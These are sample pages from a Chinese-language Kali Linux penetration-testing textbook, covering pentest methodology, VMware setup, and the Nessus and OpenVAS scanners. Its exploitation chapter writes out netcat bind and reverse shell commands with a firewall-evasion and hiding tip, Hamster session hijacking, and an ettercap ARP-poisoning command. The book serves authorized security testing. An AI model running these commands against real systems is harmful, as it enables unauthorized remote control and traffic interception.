chapterepaper.gotop.com.tw/pdfsample/acn027600.pdf · chapter 2 kali 下載、安裝與設定 kali...

12
本章重點 關於 Kali 與滲透測試 z 1.1 駭客分類 z 1.2 資訊資產與風險管理 資安威脅 z 1.3 滲透測試的目的、程序及方法 z 1.4 滲透測試入門知識 z 1.5 測試方法論 z 1.6 滲透測試的一般程序 z 1.7 Kali 的兩面刃 教你做滲透測試,不是教你當 駭客 z 1.8 不完全翻譯的術語 1 Chapter

Upload: others

Post on 13-May-2020

4 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Chapterepaper.gotop.com.tw/PDFSample/ACN027600.pdf · Chapter 2 Kali 下載、安裝與設定 Kali 是以Debian 為基礎發展的,Debian 有的特性Kali 都有,要拿Kali 做辦公

本章重點

關於 Kali 與滲透測試

z 1.1 駭客分類

z 1.2 資訊資產與風險管理 ─ 資安威脅

z 1.3 滲透測試的目的、程序及方法

z 1.4 滲透測試入門知識

z 1.5 測試方法論

z 1.6 滲透測試的一般程序

z 1.7 Kali的兩面刃 ─ 教你做滲透測試,不是教你當

駭客

z 1.8 不完全翻譯的術語

1Chapter

Page 2: Chapterepaper.gotop.com.tw/PDFSample/ACN027600.pdf · Chapter 2 Kali 下載、安裝與設定 Kali 是以Debian 為基礎發展的,Debian 有的特性Kali 都有,要拿Kali 做辦公

1-4

Chapter 1 關於 Kali與滲透測試

方式之一,發現的弱點不一定會對企業造成危害,因為許多弱點(漏洞)必須搭配

適當的條件才能被利用,滲透測試則在評斷弱點被利用程度,及可能造成的危害。

1.3 滲透測試的目的、程序及方法上面談到白帽駭客是受雇主委託進行攻擊,因此可攻擊的標的及範圍會依雇

主的需求而有所限縮,此類在依雙方協議的內容所進行的攻擊稱為「滲透測試」

(Penetration Test,簡稱 Pentest)。「滲透測試」旨在發現資訊資產風險,以便提供適當的風險管理。

企業或組織為什麼需要滲透測試?當資訊系統上線提供服務,駭客就會不斷嘗

試攻擊,系統是否經得起考驗,透過滲透測試作業,可讓企業主:

� 了解入侵者可能利用的途徑

z 資訊不當揭露或竄改

z 網路架構設計問題

z 防火牆設定問題

z 系統及應用程式漏洞

z 系統及應用程式設定問題

� 了解系統及網路的安全強度

z 評估具同等能力的入侵者大約需花費多久的時間入侵成功

z 評估遭到入侵可能造成的影響程度

z 評估資通安全政策的落實程度

� 了解弱點、強化安全

z 強化系統及網路的安全

z 減低遭到入侵後的損失

維基(WiKi)對於滲透測試的說法是:藉由對電腦系統的攻擊,期以發現系統可能的安全弱點,進而取得系統、程式功能或機敏資料的存取權。一般的說法是:

以駭客的觀點、技術、工具對目標系統仿造駭客的攻擊手法,以便找出系統的弱點

或漏洞,並提供客戶修補建議,做為系統強化的手段。

Page 3: Chapterepaper.gotop.com.tw/PDFSample/ACN027600.pdf · Chapter 2 Kali 下載、安裝與設定 Kali 是以Debian 為基礎發展的,Debian 有的特性Kali 都有,要拿Kali 做辦公

2-2

Chapter 2 Kali下載、安裝與設定

Kali是以 Debian為基礎發展的,Debian有的特性 Kali都有,要拿 Kali做辦公用途也可以,但我們把重心放在滲透測試用途上。

2.1 基礎環境設定(安裝 VMWare Player)不可諱言,在台灣使用Windows平台的人占絕大多數,一般人很少會將 Linux

直接裝在實體機器上,而是利用虛擬機在Windows環境裡執行 Linux,如果讀者想將 Kali直接安裝到實體機器,而不是安裝到虛擬機,可以直接跳過此節,不然,請在你的機器上準備虛擬環境,以便因應後續安裝、執行 Kali需要。

在 VMWare中,Host是指實體的電腦環境,以本例而言就是直接安裝在實體硬碟上的Windows作業系統,Guest是指執行在 VMWare上的虛擬機器。可依個人喜好選擇 VMWare或 VirtualBox,筆者個人偏好 VMWare,有關 VMWare Player請從 https://my.vmware.com/web/vmware/downloads 下載,並完成安裝,VMWare Player安裝就如同其他Windows 應用程式一樣容易,不再贅述。

2.2 下載及建立 Kali 的虛擬機如果不想自己製作 Kali 的 VM映像檔,可以從 http://www.offensive-security.

com/kali-linux-vmware-arm-image-download/ 下載別人做好的映像檔使用,檔案採用7z 壓縮,請解開到自定的資料夾裡,然後開啟 ~.vmx的那個檔案即可。或者想自行建立虛擬機,可以從 http://www.kali.org/downloads/ 下載最新版的 Kali ISO 檔案,參考下列步驟建立虛擬機。

1 啟動 VMWare Player,選擇「Create a New Virtual Machine」建立新的虛擬機。

圖 2-1

Page 4: Chapterepaper.gotop.com.tw/PDFSample/ACN027600.pdf · Chapter 2 Kali 下載、安裝與設定 Kali 是以Debian 為基礎發展的,Debian 有的特性Kali 都有,要拿Kali 做辦公

3-6

Chapter 3 關於 Linux的基本操作

3 只要對著 _Documents網路資料夾 double click就可自動掛載到桌面上。

註:利用 Kali桌面掛載方式,可以利用拖拉檔案方式在 Kali跟Windows間

交換資料。

3.3 Kali常用支援工具

3.3.1 桌面分享(Remote Desktop)

進行滲透測試時,執行測試作業的電腦

通常會置於指定場所,有時需從遠端(如從家

裡)操控此電腦,Kali已預裝有桌面分享程式,毋需另外安裝 VNC。

從「應用系統 \系統工具 \偏好設定 \桌

面分享」進入,勾選「允許其他使用者觀看

您的桌面」及「允許其他使用者控制你的桌

面」,並設好連線密碼。

如果有勾選安全性的「您必須確認每次對

這臺機器的連線」,只要從遠端連入時,Kali都會發出確認對話框要求確認,未確認之前,

遠端連線程序不算完成,因為這樣不符合個人

想從遠端操控的目的,建議將此選項取消。

備註:取消「您必須確認每次對這臺機器的連線」可能存在 Kali被其他人操

控的危險,如無必要,請關閉桌面分享功能。

遠端機器利用 VNC連線 Guest IP的端口 5900,輸入指定的密碼,就可以進行遠端操控。

3.3.2 紀錄檔檢視器

Kali的紀錄檔檢視器就像Windows的事件檢視器,可以讓我們查看系統的日誌資訊。從「應用系統 \系統工具 \紀錄檔檢視器」進入,有時除錯還得靠紀錄檔

的內容呢 !

圖 3-4

Page 5: Chapterepaper.gotop.com.tw/PDFSample/ACN027600.pdf · Chapter 2 Kali 下載、安裝與設定 Kali 是以Debian 為基礎發展的,Debian 有的特性Kali 都有,要拿Kali 做辦公

8-2

Chapter 8 目標探測

在 internet上的通訊協定是 TCP/IP,探測目標自然使用 TCP/IP協定,為方便說明後續的掃描工具,先就 TCP/IP通訊模式做一簡單介紹。

探測 TCP/IP目標主要是利用 ICMP及 TCP協定,ICMP即一般 ping的用法,多數企業反應 Ping可能讓駭客查尋到攻擊目標,基於安全理由,通常防火牆會封鎖 ICMP封包,想利用 ICMP探測關鍵性系統,常得不到結果。

聰明的駭客發現就算不讓 ping通過,利用 TCP封包亦能達到探測的目的,而且更加靈活及多樣,基於 TCP可靠性要求,在雙方通訊時會有許多確認機制,這些機制反成了探測結果的回應訊息。

TCP表頭除了大家熟知的 Source Port(發訊方端口編號)、Destination Port(受訊方端口編號)外,其他較常運用的欄位尚有:

Sequence Number(流水序號)

流水序號是一組 32bits的無符號整數,當一次完整的 TCP資料傳送時,資料可能被分成多個 TCP封包傳送,每個封包上的流水序號其實是指封包載送的「資料段」的第 1個 byte對應原始資料實際位置的位元組指標。例如一個 1582 Byte檔案,被分成 500bytes、600bytes、482Bytes三個封包傳送,則第 1個封包的流水序號為 1,第 2個封包的流水序號為 501,第 3個封包的流水序號為 1101。

流水序號可看成是發訊方的資料位元組的計數器,發訊方發送的第 2個封包之流水序號減去第 1個封包之流水序號,就是第 1個封包載送的資料段長度。當流水序號達到 0xffffffff,會迴轉再由 0 開始計算。

Page 6: Chapterepaper.gotop.com.tw/PDFSample/ACN027600.pdf · Chapter 2 Kali 下載、安裝與設定 Kali 是以Debian 為基礎發展的,Debian 有的特性Kali 都有,要拿Kali 做辦公

9-2

Chapter 9 漏洞評估

9.1 nessusNessu是一款免費,全功能的強大弱點掃瞄工具,支援各種平台如 Linux、

BSD、Solaris等,採插件方式可不斷擴充功能,目前已超過 1000個以上的弱點偵察能力。

� 執行路徑:請從瀏覽器連結 https://127.0.0.1:8834(見第四章 Nessus測試連接小節)進入。

圖 9-1

� 說明:

訊息通知:當變成紅色時,表示系統有訊息告知使用者,只要點擊圖示,即可

看到通知的訊息。

使用者管理:管理員可以在此新增或刪除使用者,變更使用者的權限及密碼。

掃描政策(Policies)

設定目標系統的掃描方式叫 Policy,必須要先有 Policy,Nessus才知道要做什麼事。初安裝 Nessus,已預設提供四組 Policy,也可以利用「New Policy」定義新的 Policy。透過指導精靈,只需兩個步驟就可以完成新的 Policy。如果有好幾台Nessus,這些 Policy可以利用 Download / Upload功能彼此分享。

或許你會覺得精靈式的 Policy 設定無法符合要求,可以對已有的 Policy Double-Click,啟動 Policy編輯模式,然後選擇右上角的「Advanced Mode」使用Policy進階設定模式。

Page 7: Chapterepaper.gotop.com.tw/PDFSample/ACN027600.pdf · Chapter 2 Kali 下載、安裝與設定 Kali 是以Debian 為基礎發展的,Debian 有的特性Kali 都有,要拿Kali 做辦公

9-5

9.2 openvas

從報表中可以清楚地看出這些掃描的資訊與結果,包括了所檢測的主機 IP與主機上所開啟的端口、掃描時間和風險的描述與相對應的解決方法。藉由 Nessus的檢測,很容易檢測與管理系統,從掃描報表可以得知目前系統上存在怎樣的弱

點,使我們得以及早修補這些漏洞,從而降低被攻擊的可能。

Nessus的弱點報告可以 drill down到下一層,如上例 172.31.16.6共發現 2個中風險、2個低風險、12個建議資訊,若點擊風險分佈的長條圖,就會開啟風險的詳細列表。再從風險列表中點擊特定的風險,會開啟該風險的說明及解決方法。

圖 9-6

透過右上角的「Export」將掃描報表匯出,目前 Nessus可以支援 Nessus、PDF、HTML、CSV格式,做為滲透測試的附件,個人建議匯出成 PDF,但如果要利用 dradis(第十八章)跟團隊成員共同編輯,建議匯出 Nessus格式。

9.2 openvasopenvas是跟 Nessus系出同源的漏洞掃描工具,目前仍維持 Open Source的授

權方式。如果已按照第四章介紹的步驟完成 OpenVAS的設定,並啟動 OpenVAS服務,即可由瀏覽器開啟 https://127.0.0.1: 9392。

若未啟動 OpenVAS服務,可由「系統服務 \ OpenVAS \ openvas start」先啟動後,再進行瀏覽器連結,如果使用選單啟動失敗,可手動依下列順序執行。

� gsad

� openvassd

� openvasad

� openvasmd

Page 8: Chapterepaper.gotop.com.tw/PDFSample/ACN027600.pdf · Chapter 2 Kali 下載、安裝與設定 Kali 是以Debian 為基礎發展的,Debian 有的特性Kali 都有,要拿Kali 做辦公

9-6

Chapter 9 漏洞評估

主功能表介紹

進入 OpenVAS代理網頁後,畫面左有一段歡迎文字及說明,主要是圖示的用法,在圖示列的上方是功能選單,分別為:

� Scan Management:掃描作業管理,可以查看現有的掃作業或新增掃描作業。

� Asset Management:資產管理,可以依風險別或特定關鍵字過濾 host的掃描結果。

� SecInfo Management:資安訊息管理,就是漏洞資料庫清單。

� Configuration:各種設定管理,包括目標主機、主機帳號憑證、掃描作業、警

示、結果過濾條件、排程、報表格式及代理程式等。

� Administration:用來管理使用者帳號、權限,漏洞資料庫的同步及 OpenVAS的設定檔內容。

圖 9-7

Page 9: Chapterepaper.gotop.com.tw/PDFSample/ACN027600.pdf · Chapter 2 Kali 下載、安裝與設定 Kali 是以Debian 為基礎發展的,Debian 有的特性Kali 都有,要拿Kali 做辦公

14-5

14.1 NetCat

如果將 userdatas.txt改成 htm檔案,就能做為簡易的Web訊息發送。例如:

nc -l -p 80 < /opt/firmware-mod-kit/trunk/creating_ipkg_packages.htm

圖 14-2

簡易型即時通:

nc -ltp 80

利用 -t選項,NC工作在 Telnet應答模式,雙方輸入的文字都會反應在對方的終端機上。

圖 14-3

遠端後門:

nc -l -p 8088 -e cmd.exe (for Windows)nc -l -p 8080 -e /bin/sh (for Linux)

Page 10: Chapterepaper.gotop.com.tw/PDFSample/ACN027600.pdf · Chapter 2 Kali 下載、安裝與設定 Kali 是以Debian 為基礎發展的,Debian 有的特性Kali 都有,要拿Kali 做辦公

14-6

Chapter 14 漏洞利用、提權工具

做為後門待命程式,在端口 8080等待接聽,連線成功後,執行指定的程式。(Windows的例子是用端口 8088。)

如果攻擊者執行下面的指令,即可取得接聽端的終端機控制權:

nc 172.31.1.10 8080

(172.31.1.10是指上面執行等待接聽模式的機器位址。)

後門反向連線:

nc -l -p 80 (操控端 )nc 192.168.1.1 80 -e cmd.exe (被控端 )

操控端(Kali)先執行接聽模式,等待被控端(Win)連入,一待被控端連入操控端,被控端會執行 cmd.exe,操控端即可進行遠端操作。

許多機構會限制內部機器只能通過特定的端口(如 80, 443)對外連線,上一個「遠端後門」的範例(使用 8080)將無法實踐,透過反向連線,由被控端以端口 80向外連線就可以避開防火牆的管制,達成遠端操控的目的。

如果要隱藏行蹤,可以在Windows執行的指令加上 -d選項。

圖 14-4

Page 11: Chapterepaper.gotop.com.tw/PDFSample/ACN027600.pdf · Chapter 2 Kali 下載、安裝與設定 Kali 是以Debian 為基礎發展的,Debian 有的特性Kali 都有,要拿Kali 做辦公

14-9

14.2 Hamster

(4) 啟動 Chrome並瀏覽任何需登入帳號、密碼的網站。如 demo.testfire.net。

好的,正常情形 hamster應該開始監聽並分析 cookie或 session資料,如果您也不幸在執行 hamster的終端機出現:

starting adapter eth0execle(ferret): No such file or directory

這表示 hamster找不到 ferret,可以先將終端機目錄切換到 /usr/bin/再執行hamster。不過切換到 /usr/bin/執行 hamster,之後 ferret攔截的封包檔(.pcap)及 hamster分析檔(hamster.txt)都會存在 /usr/bin/目錄裡。為了統一控管產生的資料檔,筆者採用另一種做法:

(1) 執行 mkdir /hamster/建立專用目錄。

(2) 將 /usr/bin/下的 hamster及 ferret都複製(cp)到 /hamster/裡。

(3) 直接到 /hamster/執行 hamster。

這樣的好處是產生的檔案集中在 hamster,容易管理。

修正找不到 ferret的問題後,重新執行 hamster吧!當 ferret開始擷取封包,hamster終端機就開始有資訊湧現。回到 FireFox重整畫面,應該可以看到取得幾個 Targets及 Database。

圖 14-5

Page 12: Chapterepaper.gotop.com.tw/PDFSample/ACN027600.pdf · Chapter 2 Kali 下載、安裝與設定 Kali 是以Debian 為基礎發展的,Debian 有的特性Kali 都有,要拿Kali 做辦公

14-28

Chapter 14 漏洞利用、提權工具

完成設定後,可以選擇「Start \ Start sniffing」或者 Mitm下的 4種中間人攻擊方式。

圖 14-13

� 範例:

對 192.168.158.1(Gateway) 及 192.168.158.132( 受 害 者 ) 執 行 ARP poisoning,將 192.168.158.132指定給 Target1, 192.168.158.1指定給 Target2,然後執行「Mitm \ Arp poisoning...」。

圖 14-14

可 以 看 到 192.168.158.1 的 MAC 位 址 在 poisoning 時, 從 原 本 正 確 的00:50:56:C0:00:08變成攻擊機的 MAC 00:C0:29:47:BB:81,所以 192.168.158.132要送往 192.168.158.1(GATEWAY)的封包都會先送給攻擊機。

實際上,上面 GUI操作的程序,跟下列文字模式的指令是相同的:

ettercap -Tq -i eth0 -M arp /192.168.158.132/ /192.168.158.1/